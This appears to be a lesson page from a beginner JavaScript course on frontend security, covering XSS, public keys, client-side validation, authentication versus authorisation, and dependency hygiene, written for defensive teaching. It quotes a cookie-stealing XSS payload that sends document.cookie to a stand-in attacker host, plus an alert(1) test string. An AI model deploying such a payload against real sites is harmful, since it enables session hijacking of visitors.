Webbo3 Level 2 · JavaScript Development · Day 17 of 20
Security for Frontend Developers
Not a security course. The specific mistakes a junior is expected not to make, and why each one matters.
By the end of today you can
- Explain XSS and stop it in your own code
- Know exactly which values are safe to put in frontend JavaScript
- Treat browser validation as a courtesy and never as a defence
- Say what authentication and authorisation each mean
- Handle a secret you have already committed
You are not going to become a security engineer today. You are going to stop making five specific mistakes that appear in almost every beginner project, each of which has caused real incidents at real companies. That is a realistic and genuinely useful goal for one day.
1. The one rule underneath all of it
Never trust anything that came from outside your code
Form input, URL parameters, API responses, anything in localStorage. All of it can be changed by whoever is sitting at the browser, including by somebody who is not the user you imagined. Everything else today is this sentence applied to a specific place.
2. XSS: the one that will actually happen to you
Cross-site scripting is putting untrusted text somewhere the browser will treat it as code. You met it on Day 4. Today you see exactly why it is serious.
// the vulnerable line, and it is everywhere
commentBox.innerHTML = userComment;Now suppose the comment is this:
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">The image fails to load, onerror runs, and the visitor's session cookie is on somebody else's server. The visitor did nothing but read a comment. The script runs with all the privileges of whoever is looking at the page, which is the part that makes XSS serious: on an admin's screen it can do anything an admin can do.
The fix, and it is one word
commentBox.textContent = userComment; // treated as text, always// what the two do differently, with no browser involved
const hostile = '<img src=x onerror="steal()">';
// textContent: the characters are preserved and stay characters
console.log('as text: ', hostile);
// innerHTML: the browser would parse this into a real element with a real handler
const escaped = hostile
.replaceAll('&', '&').replaceAll('<', '<').replaceAll('>', '>');
console.log('escaped: ', escaped);| Sink | Safe with user input | Note |
|---|---|---|
textContent | Yes | Use this by default |
innerHTML | No | Only for markup you built yourself |
insertAdjacentHTML | No | Same risk as innerHTML |
element.setAttribute("href", x) | No | A javascript: URL runs on click |
eval, new Function | Never | There is no safe version |
document.write | Never | Obsolete as well as unsafe |
When you genuinely need HTML from a user
A comment box that allows bold and links is a real requirement. The answer is never your own regular expression: you will miss something, everybody does. Use a maintained sanitiser such as DOMPurify, and let it decide what survives.
3. Anything in your frontend is public
There is no such thing as a secret in JavaScript that runs in a browser. Minifying does not help. Obfuscating does not help. Anyone can open DevTools.
| Value | Frontend? | Because |
|---|---|---|
| A publishable API key, e.g. a Stripe publishable key | Yes | Designed to be public; it cannot do damage alone |
| A "restricted by domain" map key | Usually | Public, but limited to your domain. Set the restriction |
| A secret API key | No | Bills you, reads data, cannot be undone |
| A database password | No | Never leaves a server |
| An admin token | No | Full access to everything |
# .env - never committed
WEATHER_API_KEY=abc123realkey
# .env.example - committed, so a teammate knows what they need
WEATHER_API_KEY=If you have already committed a key, deleting it does nothing
It is in the git history, and public repositories are scanned automatically within minutes. Rotate the key immediately: go to the provider, revoke the old one, issue a new one. Rewriting history is optional; revoking is not, and it is the only step that actually helps.
The honest architecture: a key that must stay secret lives on a server you control, and your frontend calls your endpoint, which calls the third party. That is Level 3, and until then, prefer APIs that need no key.
4. Browser validation is a courtesy
Every check you wrote on Day 13 can be removed by the person using your site, in about four seconds, with no tools beyond the ones already in their browser.
- Open DevTools, delete the
requiredattribute, submit. - Change
maxlength, or themaxon a number field, or a hidden price input. - Or ignore the page entirely and send the request straight from the Console.
The rule, stated once, for the rest of your career
Validate in the browser so honest users get fast, kind feedback. Validate on the server because that is the only check that cannot be removed. Any rule that matters, a price, a permission, a limit, is enforced on the server or it is not enforced.
5. Authentication and authorisation
| Authentication | Authorisation | |
|---|---|---|
| Question | Who are you? | What are you allowed to do? |
| Proof | Password, token, one-time code | Roles and permissions |
| Status code | 401 | 403 |
| Failure looks like | Anyone can log in as anyone | A student opens the admin page |
Hiding a button is not authorisation
If the Delete User button is hidden for non-admins but the endpoint accepts any request, you have hidden the button and not the capability. Anyone who opens the Network tab, sees the request, and repeats it, is now an admin. Hiding controls is user experience. Checking permissions on the server is security.
And on where a token lives: localStorage is readable by any JavaScript on the page, so one XSS hole hands over every logged-in session. The safer arrangement is an httpOnly cookie, which JavaScript cannot read at all. That is a server decision and therefore Level 3, but you should know the trade-off now, because you will be offered the localStorage version by every tutorial you read.
6. Two more worth ten minutes
Dependencies
Every package you install runs with your privileges and brings its own dependencies. Real attacks have come through a package that a package that your package depends on.
npm audit # what is known to be vulnerable
npm audit fix # fix what can be fixed safely
npm ls <package> # why is this even installed- Check the weekly downloads and the last publish date before installing anything.
- Read the name twice. Typosquatted packages differ by one character on purpose.
- Ask whether the browser already does it. Day 12 was largely that question.
HTTPS
Over plain http, anyone between your user and your server can read and modify everything, including injecting scripts into your page. It is also required for geolocation, clipboard, service workers and notifications. GitHub Pages, Netlify and Vercel all give you https for nothing, so there is no remaining excuse.
Do this now
- Add
<img src=x onerror="alert(1)">as a record in your Day 15 project. If you get a popup, you have an XSS hole: find it and fix it withtextContent. - Search your whole project for
innerHTML. For every hit, write down where that string came from. Any that traces back to a user gets changed. - Open your deployed project, delete a
requiredattribute in DevTools and submit. Watch your own validation disappear. - Run
npm auditif you have apackage.json. Read one advisory in full: they are more readable than you expect. - Check every repository you have pushed this month for a committed key. If you find one, rotate it today.
Checkpoint
Q1. Why is XSS worse than "somebody can make my page look odd"?
The injected script runs with the privileges of whoever is viewing the page. It can read their cookies and local storage, make requests as them, and on an administrator's screen it can do anything an administrator can do.
Q2. You committed an API key and then deleted it in the next commit. Safe?
No. It is in the history and public repositories are scanned within minutes. Rotate the key at the provider. That is the only step that actually helps.
Q3. Your form checks the price is above zero. Is the price safe?
No. The check runs in a browser the user controls and can be removed or bypassed entirely. Prices are validated on the server or not at all.
Q4. The Delete button is hidden for non-admins. Is deletion protected?
No. Hiding a control is user experience. If the endpoint accepts the request from anyone, anyone who opens the Network tab can send it.
Tick before you move on
- ☐ I tested my own project with a hostile string and it did not execute
- ☐ Every
innerHTMLin my code is markup I built, not user text - ☐ No key of any kind is in my committed code, and
.envis ignored - ☐ I can say what 401 and 403 each mean without looking it up
- ☐ My deployed project is served over https
Quick recap
Never trust anything that came from outside your code · textContent for user text; a real sanitiser when you genuinely need HTML · Anything in frontend JavaScript is public, so rotate a leaked key immediately · Browser validation is kindness; server validation is the defence · Hiding a button is not authorisation
Tomorrow, Day 18: getting it off your laptop and onto a URL you can send to somebody.